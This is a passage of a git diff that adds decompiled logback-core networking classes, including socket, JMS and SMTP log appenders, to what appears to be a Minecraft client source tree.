+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractSocketAppender<E>
+  extends AppenderBase<E>
+  implements SocketConnector.ExceptionHandler
+{
+  public static final int DEFAULT_PORT = 4560;
+  public static final int DEFAULT_RECONNECTION_DELAY = 30000;
+  public static final int DEFAULT_QUEUE_SIZE = 128;
+  private static final int DEFAULT_ACCEPT_CONNECTION_DELAY = 5000;
+  private static final int DEFAULT_EVENT_DELAY_TIMEOUT = 100;
+  private final ObjectWriterFactory objectWriterFactory;
+  private final QueueFactory queueFactory;
+  private String remoteHost;
+  private int port = 4560;
+  private InetAddress address;
+  private Duration reconnectionDelay = new Duration(30000L);
+  private int queueSize = 128;
+  private int acceptConnectionTimeout = 5000;
+  private Duration eventDelayLimit = new Duration(100L);
+  
+  private BlockingDeque<E> deque;
+  
+  private String peerId;
+  
+  private SocketConnector connector;
+  
+  private Future<?> task;
+  private volatile Socket socket;
+  
+  protected AbstractSocketAppender()
+  {
+    this(new QueueFactory(), new ObjectWriterFactory());
+  }
+  
+
+
+  AbstractSocketAppender(QueueFactory queueFactory, ObjectWriterFactory objectWriterFactory)
+  {
+    this.objectWriterFactory = objectWriterFactory;
+    this.queueFactory = queueFactory;
+  }
+  
+
+
+  public void start()
+  {
+    if (isStarted()) return;
+    int errorCount = 0;
+    if (port <= 0) {
+      errorCount++;
+      addError("No port was configured for appender" + name + " For more information, please visit http://logback.qos.ch/codes.html#socket_no_port");
+    }
+    
+
+
+    if (remoteHost == null) {
+      errorCount++;
+      addError("No remote host was configured for appender" + name + " For more information, please visit http://logback.qos.ch/codes.html#socket_no_host");
+    }
+    
+
+
+    if (queueSize == 0) {
+      addWarn("Queue size of zero is deprecated, use a size of one to indicate synchronous processing");
+    }
+    
+    if (queueSize < 0) {
+      errorCount++;
+      addError("Queue size must be greater than zero");
+    }
+    
+    if (errorCount == 0) {
+      try {
+        address = InetAddress.getByName(remoteHost);
+      } catch (UnknownHostException ex) {
+        addError("unknown host: " + remoteHost);
+        errorCount++;
+      }
+    }
+    
+    if (errorCount == 0) {
+      deque = queueFactory.newLinkedBlockingDeque(queueSize);
+      peerId = ("remote peer " + remoteHost + ":" + port + ": ");
+      connector = createConnector(address, port, 0, reconnectionDelay.getMilliseconds());
+      task = getContext().getExecutorService().submit(new Runnable()
+      {
+        public void run() {
+          AbstractSocketAppender.this.connectSocketAndDispatchEvents();
+        }
+      });
+      super.start();
+    }
+  }
+  
+
+
+
+  public void stop()
+  {
+    if (!isStarted()) return;
+    CloseUtil.closeQuietly(socket);
+    task.cancel(true);
+    super.stop();
+  }
+  
+
+
+
+  protected void append(E event)
+  {
+    if ((event == null) || (!isStarted())) return;
+    try
+    {
+      boolean inserted = deque.offer(event, eventDelayLimit.getMilliseconds(), TimeUnit.MILLISECONDS);
+      if (!inserted) {
+        addInfo("Dropping event due to timeout limit of [" + eventDelayLimit + "] being exceeded");
+      }
+    } catch (InterruptedException e) {
+      addError("Interrupted while appending event to SocketAppender", e);
+    }
+  }
+  
+  private void connectSocketAndDispatchEvents() {
+    try {
+      while (socketConnectionCouldBeEstablished()) {
+        try {
+          ObjectWriter objectWriter = createObjectWriterForSocket();
+          addInfo(peerId + "connection established");
+          dispatchEvents(objectWriter);
+        } catch (IOException ex) {
+          addInfo(peerId + "connection failed: " + ex);
+        } finally {
+          CloseUtil.closeQuietly(socket);
+          socket = null;
+          addInfo(peerId + "connection closed");
+        }
+      }
+    }
+    catch (InterruptedException ex) {}
+    
+    addInfo("shutting down");
+  }
+  
+  private boolean socketConnectionCouldBeEstablished() throws InterruptedException {
+    return (this.socket = connector.call()) != null;
+  }
+  
+  private ObjectWriter createObjectWriterForSocket() throws IOException {
+    socket.setSoTimeout(acceptConnectionTimeout);
+    ObjectWriter objectWriter = objectWriterFactory.newAutoFlushingObjectWriter(socket.getOutputStream());
+    socket.setSoTimeout(0);
+    return objectWriter;
+  }
+  
+  private SocketConnector createConnector(InetAddress address, int port, int initialDelay, long retryDelay) {
+    SocketConnector connector = newConnector(address, port, initialDelay, retryDelay);
+    connector.setExceptionHandler(this);
+    connector.setSocketFactory(getSocketFactory());
+    return connector;
+  }
+  
+  private void dispatchEvents(ObjectWriter objectWriter) throws InterruptedException, IOException {
+    for (;;) {
+      E event = deque.takeFirst();
+      postProcessEvent(event);
+      Serializable serializableEvent = getPST().transform(event);
+      try {
+        objectWriter.write(serializableEvent);
+      } catch (IOException e) {
+        tryReAddingEventToFrontOfQueue(event);
+        throw e;
+      }
+    }
+  }
+  
+  private void tryReAddingEventToFrontOfQueue(E event) {
+    boolean wasInserted = deque.offerFirst(event);
+    if (!wasInserted) {
+      addInfo("Dropping event due to socket connection error and maxed out deque capacity");
+    }
+  }
+  
+
+
+  public void connectionFailed(SocketConnector connector, Exception ex)
+  {
+    if ((ex instanceof InterruptedException)) {
+      addInfo("connector interrupted");
+    } else if ((ex instanceof ConnectException)) {
+      addInfo(peerId + "connection refused");
+    } else {
+      addInfo(peerId + ex);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected SocketConnector newConnector(InetAddress address, int port, long initialDelay, long retryDelay)
+  {
+    return new DefaultSocketConnector(address, port, initialDelay, retryDelay);
+  }
+  
+
+
+
+
+  protected SocketFactory getSocketFactory()
+  {
+    return SocketFactory.getDefault();
+  }
+  
+
+
+
+
+
+  protected abstract void postProcessEvent(E paramE);
+  
+
+
+
+
+  protected abstract PreSerializationTransformer<E> getPST();
+  
+
+
+
+
+  public void setRemoteHost(String host)
+  {
+    remoteHost = host;
+  }
+  
+
+
+  public String getRemoteHost()
+  {
+    return remoteHost;
+  }
+  
+
+
+
+  public void setPort(int port)
+  {
+    this.port = port;
+  }
+  
+
+
+  public int getPort()
+  {
+    return port;
+  }
+  
+
+
+
+
+
+
+
+  public void setReconnectionDelay(Duration delay)
+  {
+    reconnectionDelay = delay;
+  }
+  
+
+
+  public Duration getReconnectionDelay()
+  {
+    return reconnectionDelay;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setQueueSize(int queueSize)
+  {
+    this.queueSize = queueSize;
+  }
+  
+
+
+  public int getQueueSize()
+  {
+    return queueSize;
+  }
+  
+
+
+
+
+
+
+  public void setEventDelayLimit(Duration eventDelayLimit)
+  {
+    this.eventDelayLimit = eventDelayLimit;
+  }
+  
+
+
+  public Duration getEventDelayLimit()
+  {
+    return eventDelayLimit;
+  }
+  
+
+
+
+
+
+
+
+
+  void setAcceptConnectionTimeout(int acceptConnectionTimeout)
+  {
+    this.acceptConnectionTimeout = acceptConnectionTimeout;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/AutoFlushingObjectWriter.java b/src/minecraft/ch/qos/logback/core/net/AutoFlushingObjectWriter.java
new file mode 100644
index 0000000..12cdeed
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/AutoFlushingObjectWriter.java
@@ -0,0 +1,60 @@
+package ch.qos.logback.core.net;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AutoFlushingObjectWriter
+  implements ObjectWriter
+{
+  private final ObjectOutputStream objectOutputStream;
+  private final int resetFrequency;
+  private int writeCounter = 0;
+  
+
+
+
+
+
+
+  public AutoFlushingObjectWriter(ObjectOutputStream objectOutputStream, int resetFrequency)
+  {
+    this.objectOutputStream = objectOutputStream;
+    this.resetFrequency = resetFrequency;
+  }
+  
+  public void write(Object object) throws IOException
+  {
+    objectOutputStream.writeObject(object);
+    objectOutputStream.flush();
+    preventMemoryLeak();
+  }
+  
+
+
+  private void preventMemoryLeak()
+    throws IOException
+  {
+    if (++writeCounter >= resetFrequency) {
+      objectOutputStream.reset();
+      writeCounter = 0;
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/DefaultSocketConnector.java b/src/minecraft/ch/qos/logback/core/net/DefaultSocketConnector.java
new file mode 100644
index 0000000..8a8ef24
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/DefaultSocketConnector.java
@@ -0,0 +1,123 @@
+package ch.qos.logback.core.net;
+
+import ch.qos.logback.core.util.DelayStrategy;
+import ch.qos.logback.core.util.FixedDelay;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.net.InetAddress;
+import java.net.Socket;
+import javax.net.SocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocketConnector
+  implements SocketConnector
+{
+  private final InetAddress address;
+  private final int port;
+  private final DelayStrategy delayStrategy;
+  private SocketConnector.ExceptionHandler exceptionHandler;
+  private SocketFactory socketFactory;
+  
+  public DefaultSocketConnector(InetAddress address, int port, long initialDelay, long retryDelay)
+  {
+    this(address, port, new FixedDelay(initialDelay, retryDelay));
+  }
+  
+
+
+
+
+
+
+
+
+  public DefaultSocketConnector(InetAddress address, int port, DelayStrategy delayStrategy)
+  {
+    this.address = address;
+    this.port = port;
+    this.delayStrategy = delayStrategy;
+  }
+  
+
+  public Socket call()
+    throws InterruptedException
+  {
+    useDefaultsForMissingFields();
+    Socket socket = createSocket();
+    while ((socket == null) && (!Thread.currentThread().isInterrupted())) {
+      Thread.sleep(delayStrategy.nextDelay());
+      socket = createSocket();
+    }
+    return socket;
+  }
+  
+  private Socket createSocket() {
+    Socket newSocket = null;
+    try {
+      newSocket = socketFactory.createSocket(address, port);
+    } catch (IOException ioex) {
+      exceptionHandler.connectionFailed(this, ioex);
+    }
+    return newSocket;
+  }
+  
+  private void useDefaultsForMissingFields() {
+    if (exceptionHandler == null) {
+      exceptionHandler = new ConsoleExceptionHandler(null);
+    }
+    if (socketFactory == null) {
+      socketFactory = SocketFactory.getDefault();
+    }
+  }
+  
+
+
+  public void setExceptionHandler(SocketConnector.ExceptionHandler exceptionHandler)
+  {
+    this.exceptionHandler = exceptionHandler;
+  }
+  
+
+
+  public void setSocketFactory(SocketFactory socketFactory)
+  {
+    this.socketFactory = socketFactory;
+  }
+  
+  private static class ConsoleExceptionHandler implements SocketConnector.ExceptionHandler
+  {
+    private ConsoleExceptionHandler() {}
+    
+    public void connectionFailed(SocketConnector connector, Exception ex)
+    {
+      System.out.println(ex);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/JMSAppenderBase.java b/src/minecraft/ch/qos/logback/core/net/JMSAppenderBase.java
new file mode 100644
index 0000000..e9b4913
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/JMSAppenderBase.java
@@ -0,0 +1,175 @@
+package ch.qos.logback.core.net;
+
+import ch.qos.logback.core.AppenderBase;
+import java.util.Properties;
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NameNotFoundException;
+import javax.naming.NamingException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class JMSAppenderBase<E>
+  extends AppenderBase<E>
+{
+  protected String securityPrincipalName;
+  protected String securityCredentials;
+  protected String initialContextFactoryName;
+  protected String urlPkgPrefixes;
+  protected String providerURL;
+  protected String userName;
+  protected String password;
+  
+  public JMSAppenderBase() {}
+  
+  protected Object lookup(Context ctx, String name)
+    throws NamingException
+  {
+    try
+    {
+      return ctx.lookup(name);
+    } catch (NameNotFoundException e) {
+      addError("Could not find name [" + name + "].");
+      throw e;
+    }
+  }
+  
+  public Context buildJNDIContext() throws NamingException {
+    Context jndi = null;
+    
+
+    if (initialContextFactoryName != null) {
+      Properties env = buildEnvProperties();
+      jndi = new InitialContext(env);
+    } else {
+      jndi = new InitialContext();
+    }
+    return jndi;
+  }
+  
+  public Properties buildEnvProperties() {
+    Properties env = new Properties();
+    env.put("java.naming.factory.initial", initialContextFactoryName);
+    if (providerURL != null) {
+      env.put("java.naming.provider.url", providerURL);
+    } else {
+      addWarn("You have set InitialContextFactoryName option but not the ProviderURL. This is likely to cause problems.");
+    }
+    
+    if (urlPkgPrefixes != null) {
+      env.put("java.naming.factory.url.pkgs", urlPkgPrefixes);
+    }
+    
+    if (securityPrincipalName != null) {
+      env.put("java.naming.security.principal", securityPrincipalName);
+      if (securityCredentials != null) {
+        env.put("java.naming.security.credentials", securityCredentials);
+      } else {
+        addWarn("You have set SecurityPrincipalName option but not the SecurityCredentials. This is likely to cause problems.");
+      }
+    }
+    
+    return env;
+  }
+  
+
+
+
+
+
+
+  public String getInitialContextFactoryName()
+  {
+    return initialContextFactoryName;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setInitialContextFactoryName(String initialContextFactoryName)
+  {
+    this.initialContextFactoryName = initialContextFactoryName;
+  }
+  
+  public String getProviderURL() {
+    return providerURL;
+  }
+  
+  public void setProviderURL(String providerURL) {
+    this.providerURL = providerURL;
+  }
+  
+  public String getURLPkgPrefixes() {
+    return urlPkgPrefixes;
+  }
+  
+  public void setURLPkgPrefixes(String urlPkgPrefixes) {
+    this.urlPkgPrefixes = urlPkgPrefixes;
+  }
+  
+  public String getSecurityCredentials() {
+    return securityCredentials;
+  }
+  
+  public void setSecurityCredentials(String securityCredentials) {
+    this.securityCredentials = securityCredentials;
+  }
+  
+  public String getSecurityPrincipalName() {
+    return securityPrincipalName;
+  }
+  
+  public void setSecurityPrincipalName(String securityPrincipalName) {
+    this.securityPrincipalName = securityPrincipalName;
+  }
+  
+  public String getUserName() {
+    return userName;
+  }
+  
+
+
+
+
+
+  public void setUserName(String userName)
+  {
+    this.userName = userName;
+  }
+  
+  public String getPassword() {
+    return password;
+  }
+  
+
+
+  public void setPassword(String password)
+  {
+    this.password = password;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/LoginAuthenticator.java b/src/minecraft/ch/qos/logback/core/net/LoginAuthenticator.java
new file mode 100644
index 0000000..6657702
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/LoginAuthenticator.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.net;
+
+import javax.mail.Authenticator;
+import javax.mail.PasswordAuthentication;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoginAuthenticator
+  extends Authenticator
+{
+  String username;
+  String password;
+  
+  LoginAuthenticator(String username, String password)
+  {
+    this.username = username;
+    this.password = password;
+  }
+  
+  public PasswordAuthentication getPasswordAuthentication() {
+    return new PasswordAuthentication(username, password);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ObjectWriter.java b/src/minecraft/ch/qos/logback/core/net/ObjectWriter.java
new file mode 100644
index 0000000..80e430e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ObjectWriter.java
@@ -0,0 +1,9 @@
+package ch.qos.logback.core.net;
+
+import java.io.IOException;
+
+public abstract interface ObjectWriter
+{
+  public abstract void write(Object paramObject)
+    throws IOException;
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ObjectWriterFactory.java b/src/minecraft/ch/qos/logback/core/net/ObjectWriterFactory.java
new file mode 100644
index 0000000..7ae9886
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ObjectWriterFactory.java
@@ -0,0 +1,39 @@
+package ch.qos.logback.core.net;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ObjectWriterFactory
+{
+  public ObjectWriterFactory() {}
+  
+  public AutoFlushingObjectWriter newAutoFlushingObjectWriter(OutputStream outputStream)
+    throws IOException
+  {
+    return new AutoFlushingObjectWriter(new ObjectOutputStream(outputStream), 70);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/QueueFactory.java b/src/minecraft/ch/qos/logback/core/net/QueueFactory.java
new file mode 100644
index 0000000..fbfbbbb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/QueueFactory.java
@@ -0,0 +1,39 @@
+package ch.qos.logback.core.net;
+
+import java.util.concurrent.LinkedBlockingDeque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class QueueFactory
+{
+  public QueueFactory() {}
+  
+  public <E> LinkedBlockingDeque<E> newLinkedBlockingDeque(int capacity)
+  {
+    int actualCapacity = capacity < 1 ? 1 : capacity;
+    return new LinkedBlockingDeque(actualCapacity);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/SMTPAppenderBase.java b/src/minecraft/ch/qos/logback/core/net/SMTPAppenderBase.java
new file mode 100644
index 0000000..4730a40
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/SMTPAppenderBase.java
@@ -0,0 +1,680 @@
+package ch.qos.logback.core.net;
+
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.Layout;
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluator;
+import ch.qos.logback.core.helpers.CyclicBuffer;
+import ch.qos.logback.core.pattern.PatternLayoutBase;
+import ch.qos.logback.core.sift.DefaultDiscriminator;
+import ch.qos.logback.core.sift.Discriminator;
+import ch.qos.logback.core.spi.CyclicBufferTracker;
+import ch.qos.logback.core.util.ContentTypeUtil;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.List;
+import java.util.Properties;
+import java.util.concurrent.ExecutorService;
+import javax.mail.Message.RecipientType;
+import javax.mail.Multipart;
+import javax.mail.Session;
+import javax.mail.Transport;
+import javax.mail.internet.AddressException;
+import javax.mail.internet.InternetAddress;
+import javax.mail.internet.MimeBodyPart;
+import javax.mail.internet.MimeMessage;
+import javax.mail.internet.MimeMultipart;
+import javax.naming.InitialContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SMTPAppenderBase<E>
+  extends AppenderBase<E>
+{
+  static InternetAddress[] EMPTY_IA_ARRAY = new InternetAddress[0];
+  static final int MAX_DELAY_BETWEEN_STATUS_MESSAGES = 1228800000;
+  
+  public SMTPAppenderBase() {
+    lastTrackerStatusPrint = 0L;
+    delayBetweenStatusMessages = 300000;
+    
+
+
+
+    toPatternLayoutList = new ArrayList();
+    
+    subjectStr = null;
+    
+    smtpPort = 25;
+    starttls = false;
+    ssl = false;
+    sessionViaJNDI = false;
+    jndiLocation = "java:comp/env/mail/Session";
+    
+
+
+
+
+
+    asynchronousSending = true;
+    
+    charsetEncoding = "UTF-8";
+    
+
+
+
+
+    discriminator = new DefaultDiscriminator();
+    
+
+    errorCount = 0;
+  }
+  
+  long lastTrackerStatusPrint;
+  int delayBetweenStatusMessages;
+  protected Layout<E> subjectLayout;
+  protected Layout<E> layout;
+  private List<PatternLayoutBase<E>> toPatternLayoutList;
+  private String from;
+  private String subjectStr;
+  private String smtpHost;
+  private int smtpPort;
+  private boolean starttls;
+  private boolean ssl;
+  protected abstract Layout<E> makeSubjectLayout(String paramString);
+  
+  public void start() {
+    if (cbTracker == null) {
+      cbTracker = new CyclicBufferTracker();
+    }
+    
+    if (sessionViaJNDI) {
+      session = lookupSessionInJNDI();
+    } else {
+      session = buildSessionFromProperties();
+    }
+    if (session == null) {
+      addError("Failed to obtain javax.mail.Session. Cannot start.");
+      return;
+    }
+    
+    subjectLayout = makeSubjectLayout(subjectStr);
+    
+    started = true;
+  }
+  
+  private Session lookupSessionInJNDI() {
+    addInfo("Looking up javax.mail.Session at JNDI location [" + jndiLocation + "]");
+    try {
+      javax.naming.Context initialContext = new InitialContext();
+      Object obj = initialContext.lookup(jndiLocation);
+      return (Session)obj;
+    } catch (Exception e) {
+      addError("Failed to obtain javax.mail.Session from JNDI location [" + jndiLocation + "]"); }
+    return null;
+  }
+  
+  private Session buildSessionFromProperties()
+  {
+    Properties props = new Properties(OptionHelper.getSystemProperties());
+    if (smtpHost != null) {
+      props.put("mail.smtp.host", smtpHost);
+    }
+    props.put("mail.smtp.port", Integer.toString(smtpPort));
+    
+    if (localhost != null) {
+      props.put("mail.smtp.localhost", localhost);
+    }
+    
+    LoginAuthenticator loginAuthenticator = null;
+    
+    if (username != null) {
+      loginAuthenticator = new LoginAuthenticator(username, password);
+      props.put("mail.smtp.auth", "true");
+    }
+    
+    if ((isSTARTTLS()) && (isSSL())) {
+      addError("Both SSL and StartTLS cannot be enabled simultaneously");
+    } else {
+      if (isSTARTTLS())
+      {
+        props.put("mail.smtp.starttls.enable", "true");
+      }
+      if (isSSL()) {
+        String SSL_FACTORY = "javax.net.ssl.SSLSocketFactory";
+        props.put("mail.smtp.socketFactory.port", Integer.toString(smtpPort));
+        props.put("mail.smtp.socketFactory.class", SSL_FACTORY);
+        props.put("mail.smtp.socketFactory.fallback", "true");
+      }
+    }
+    
+
+
+    return Session.getInstance(props, loginAuthenticator);
+  }
+  
+
+
+
+
+  protected void append(E eventObject)
+  {
+    if (!checkEntryConditions()) {
+      return;
+    }
+    
+    String key = discriminator.getDiscriminatingValue(eventObject);
+    long now = System.currentTimeMillis();
+    CyclicBuffer<E> cb = (CyclicBuffer)cbTracker.getOrCreate(key, now);
+    subAppend(cb, eventObject);
+    try
+    {
+      if (eventEvaluator.evaluate(eventObject))
+      {
+        CyclicBuffer<E> cbClone = new CyclicBuffer(cb);
+        
+        cb.clear();
+        
+        if (asynchronousSending)
+        {
+          SMTPAppenderBase<E>.SenderRunnable senderRunnable = new SenderRunnable(cbClone, eventObject);
+          context.getExecutorService().execute(senderRunnable);
+        }
+        else {
+          sendBuffer(cbClone, eventObject);
+        }
+      }
+    } catch (EvaluationException ex) {
+      errorCount += 1;
+      if (errorCount < 4) {
+        addError("SMTPAppender's EventEvaluator threw an Exception-", ex);
+      }
+    }
+    
+
+    if (eventMarksEndOfLife(eventObject)) {
+      cbTracker.endOfLife(key);
+    }
+    
+    cbTracker.removeStaleComponents(now);
+    
+    if (lastTrackerStatusPrint + delayBetweenStatusMessages < now) {
+      addInfo("SMTPAppender [" + name + "] is tracking [" + cbTracker.getComponentCount() + "] buffers");
+      lastTrackerStatusPrint = now;
+      
+      if (delayBetweenStatusMessages < 1228800000) {
+        delayBetweenStatusMessages *= 4;
+      }
+    }
+  }
+  
+
+
+
+  protected abstract boolean eventMarksEndOfLife(E paramE);
+  
+
+
+  protected abstract void subAppend(CyclicBuffer<E> paramCyclicBuffer, E paramE);
+  
+
+
+  public boolean checkEntryConditions()
+  {
+    if (!started) {
+      addError("Attempting to append to a non-started appender: " + getName());
+      
+      return false;
+    }
+    
+    if (eventEvaluator == null) {
+      addError("No EventEvaluator is set for appender [" + name + "].");
+      return false;
+    }
+    
+    if (layout == null) {
+      addError("No layout set for appender named [" + name + "]. For more information, please visit http://logback.qos.ch/codes.html#smtp_no_layout");
+      
+
+      return false;
+    }
+    return true;
+  }
+  
+  public synchronized void stop() {
+    started = false;
+  }
+  
+  InternetAddress getAddress(String addressStr) {
+    try {
+      return new InternetAddress(addressStr);
+    } catch (AddressException e) {
+      addError("Could not parse address [" + addressStr + "].", e); }
+    return null;
+  }
+  
+  private List<InternetAddress> parseAddress(E event)
+  {
+    int len = toPatternLayoutList.size();
+    
+    List<InternetAddress> iaList = new ArrayList();
+    
+    for (int i = 0; i < len; i++) {
+      try {
+        PatternLayoutBase<E> emailPL = (PatternLayoutBase)toPatternLayoutList.get(i);
+        String emailAdrr = emailPL.doLayout(event);
+        if ((emailAdrr == null) || (emailAdrr.length() != 0))
+        {
+
+          InternetAddress[] tmp = InternetAddress.parse(emailAdrr, true);
+          iaList.addAll(Arrays.asList(tmp));
+        }
+      } catch (AddressException e) { addError("Could not parse email address for [" + toPatternLayoutList.get(i) + "] for event [" + event + "]", e);
+        return iaList;
+      }
+    }
+    
+    return iaList;
+  }
+  
+
+
+  public List<PatternLayoutBase<E>> getToList()
+  {
+    return toPatternLayoutList;
+  }
+  
+
+
+
+
+  protected void sendBuffer(CyclicBuffer<E> cb, E lastEventObject)
+  {
+    try
+    {
+      MimeBodyPart part = new MimeBodyPart();
+      
+      StringBuffer sbuf = new StringBuffer();
+      
+      String header = layout.getFileHeader();
+      if (header != null) {
+        sbuf.append(header);
+      }
+      String presentationHeader = layout.getPresentationHeader();
+      if (presentationHeader != null) {
+        sbuf.append(presentationHeader);
+      }
+      fillBuffer(cb, sbuf);
+      String presentationFooter = layout.getPresentationFooter();
+      if (presentationFooter != null) {
+        sbuf.append(presentationFooter);
+      }
+      String footer = layout.getFileFooter();
+      if (footer != null) {
+        sbuf.append(footer);
+      }
+      
+      String subjectStr = "Undefined subject";
+      if (subjectLayout != null) {
+        subjectStr = subjectLayout.doLayout(lastEventObject);
+        
+
+
+
+        int newLinePos = subjectStr != null ? subjectStr.indexOf('\n') : -1;
+        if (newLinePos > -1) {
+          subjectStr = subjectStr.substring(0, newLinePos);
+        }
+      }
+      
+      MimeMessage mimeMsg = new MimeMessage(session);
+      
+      if (from != null) {
+        mimeMsg.setFrom(getAddress(from));
+      } else {
+        mimeMsg.setFrom();
+      }
+      
+      mimeMsg.setSubject(subjectStr, charsetEncoding);
+      
+      List<InternetAddress> destinationAddresses = parseAddress(lastEventObject);
+      if (destinationAddresses.isEmpty()) {
+        addInfo("Empty destination address. Aborting email transmission");
+        return;
+      }
+      
+      InternetAddress[] toAddressArray = (InternetAddress[])destinationAddresses.toArray(EMPTY_IA_ARRAY);
+      mimeMsg.setRecipients(Message.RecipientType.TO, toAddressArray);
+      
+      String contentType = layout.getContentType();
+      
+      if (ContentTypeUtil.isTextual(contentType)) {
+        part.setText(sbuf.toString(), charsetEncoding, ContentTypeUtil.getSubType(contentType));
+      }
+      else {
+        part.setContent(sbuf.toString(), layout.getContentType());
+      }
+      
+      Multipart mp = new MimeMultipart();
+      mp.addBodyPart(part);
+      mimeMsg.setContent(mp);
+      
+      mimeMsg.setSentDate(new Date());
+      addInfo("About to send out SMTP message \"" + subjectStr + "\" to " + Arrays.toString(toAddressArray));
+      Transport.send(mimeMsg);
+    } catch (Exception e) {
+      addError("Error occurred while sending e-mail notification.", e);
+    }
+  }
+  
+
+  protected abstract void fillBuffer(CyclicBuffer<E> paramCyclicBuffer, StringBuffer paramStringBuffer);
+  
+
+  public String getFrom()
+  {
+    return from;
+  }
+  
+
+
+  public String getSubject()
+  {
+    return subjectStr;
+  }
+  
+
+
+
+  public void setFrom(String from)
+  {
+    this.from = from;
+  }
+  
+
+
+
+  public void setSubject(String subject)
+  {
+    subjectStr = subject;
+  }
+  
+
+
+
+
+  public void setSMTPHost(String smtpHost)
+  {
+    setSmtpHost(smtpHost);
+  }
+  
+
+
+
+  public void setSmtpHost(String smtpHost)
+  {
+    this.smtpHost = smtpHost;
+  }
+  
+
+
+  public String getSMTPHost()
+  {
+    return getSmtpHost();
+  }
+  
+
+
+  public String getSmtpHost()
+  {
+    return smtpHost;
+  }
+  
+
+
+
+
+  public void setSMTPPort(int port)
+  {
+    setSmtpPort(port);
+  }
+  
+
+
+
+
+  public void setSmtpPort(int port)
+  {
+    smtpPort = port;
+  }
+  
+
+
+
+
+  public int getSMTPPort()
+  {
+    return getSmtpPort();
+  }
+  
+
+
+
+
+  public int getSmtpPort()
+  {
+    return smtpPort;
+  }
+  
+
+  public String getLocalhost() { return localhost; }
+  
+  private boolean sessionViaJNDI;
+  private String jndiLocation;
+  String username;
+  String password;
+  String localhost;
+  boolean asynchronousSending;
+  private String charsetEncoding;
+  protected Session session;
+  protected EventEvaluator<E> eventEvaluator;
+  protected Discriminator<E> discriminator;
+  protected CyclicBufferTracker<E> cbTracker;
+  private int errorCount;
+  public void setLocalhost(String localhost) { this.localhost = localhost; }
+  
+
+  public CyclicBufferTracker<E> getCyclicBufferTracker() {
+    return cbTracker;
+  }
+  
+  public void setCyclicBufferTracker(CyclicBufferTracker<E> cbTracker) {
+    this.cbTracker = cbTracker;
+  }
+  
+  public Discriminator<E> getDiscriminator() {
+    return discriminator;
+  }
+  
+  public void setDiscriminator(Discriminator<E> discriminator) {
+    this.discriminator = discriminator;
+  }
+  
+  public boolean isAsynchronousSending() {
+    return asynchronousSending;
+  }
+  
+
+
+
+
+
+
+  public void setAsynchronousSending(boolean asynchronousSending)
+  {
+    this.asynchronousSending = asynchronousSending;
+  }
+  
+  public void addTo(String to) {
+    if ((to == null) || (to.length() == 0)) {
+      throw new IllegalArgumentException("Null or empty <to> property");
+    }
+    PatternLayoutBase plb = makeNewToPatternLayout(to.trim());
+    plb.setContext(context);
+    plb.start();
+    toPatternLayoutList.add(plb);
+  }
+  
+  protected abstract PatternLayoutBase<E> makeNewToPatternLayout(String paramString);
+  
+  public List<String> getToAsListOfString() {
+    List<String> toList = new ArrayList();
+    for (PatternLayoutBase plb : toPatternLayoutList) {
+      toList.add(plb.getPattern());
+    }
+    return toList;
+  }
+  
+  public boolean isSTARTTLS() {
+    return starttls;
+  }
+  
+  public void setSTARTTLS(boolean startTLS) {
+    starttls = startTLS;
+  }
+  
+  public boolean isSSL() {
+    return ssl;
+  }
+  
+  public void setSSL(boolean ssl) {
+    this.ssl = ssl;
+  }
+  
+
+
+
+
+
+  public void setEvaluator(EventEvaluator<E> eventEvaluator)
+  {
+    this.eventEvaluator = eventEvaluator;
+  }
+  
+  public String getUsername() {
+    return username;
+  }
+  
+  public void setUsername(String username) {
+    this.username = username;
+  }
+  
+  public String getPassword() {
+    return password;
+  }
+  
+  public void setPassword(String password) {
+    this.password = password;
+  }
+  
+
+
+
+  public String getCharsetEncoding()
+  {
+    return charsetEncoding;
+  }
+  
+  public String getJndiLocation()
+  {
+    return jndiLocation;
+  }
+  
+
+
+
+
+
+
+  public void setJndiLocation(String jndiLocation)
+  {
+    this.jndiLocation = jndiLocation;
+  }
+  
+  public boolean isSessionViaJNDI() {
